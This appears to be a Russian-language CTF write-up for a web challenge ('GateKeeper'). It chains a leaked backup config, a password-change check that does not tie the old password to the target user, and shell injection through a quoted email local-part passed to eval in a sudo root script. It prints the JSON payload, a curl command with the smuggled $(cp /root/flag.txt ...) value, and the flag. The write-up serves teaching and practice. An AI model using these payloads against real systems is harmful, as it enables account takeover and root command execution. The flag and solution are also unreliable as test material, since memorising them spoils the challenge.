Files
2026-09-17 00:50:07 +03:00

3.7 KiB
Raw Permalink Blame History

GateKeeper

Web hard

GateKeeper GW-7 — панель сетевого шлюза. Регистрации нет, есть только admin и operator. Флаг лежит в /root/flag.txt, а веб-приложение работает от gk. Для чтения файла используем утечку конфига, смену чужого пароля и синхронизацию пользователя.

Решение

Получение прав администратора

В статике находим /static/config.json.bak. Бэкап содержит пароль operator. Входим через POST /login с JSON-полями username и password, сохраняем cookie gk_session.

У оператора мало прав, но есть смена собственного пароля. Проверяем её запросом к POST /account/password. Обработчик ищет совпадение old_password с паролем любого пользователя, не связывая его с полем username.

С cookie оператора отправляем в POST /account/password имя администратора и известный пароль оператора:

{
  "username":"admin",
  "old_password":"<пароль operator из бэкапа>",
  "new_password":"gk_pwned_2026"
}

Проверка проходит, пароль admin меняется. Повторяем POST /login с username=admin и новым паролем gk_pwned_2026. Сохраняем новую cookie gk_session и используем её для административной синхронизации.

Выполнение команды через email

POST /admin/directory/sync принимает email и вызывает sudo /opt/gk/bin/sync_user.sh <email>. У gk есть право запускать этот скрипт от root без пароля.

Фильтр исходной строки блокирует ;, |, обратные кавычки и несколько других операторов. Но email-парсер принимает local-part в двойных кавычках и снимает их при нормализации. Затем скрипт подставляет результат в eval без кавычек.

Отправляем из администраторской сессии:

curl -sS http://<host>:18113/admin/directory/sync \
  -b 'gk_session=<сессия admin>' \
  -H 'Content-Type: application/json' \
  --data '{"email":"\"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)\"@gw.local"}'

Сырой email проходит парсер задания. После нормализации и eval конструкция $(cp ...) исполняется от root и копирует флаг в каталог веб-раздачи.

Вывод скрипта в HTTP-ответе не показывают. Зато /opt/gk/www/public доступен как /public/, а скрипт выставляет права a+rX:

curl -sS http://<host>:18113/public/f.txt

Получаем содержимое закрытого файла. Ключевой переход здесь — от строки, допустимой для email-парсера, к той же строке как к части shell-команды.

Солвер.

Флаг

CAPLAG{rfc5322_qu0t3d_sh3ll_1nj}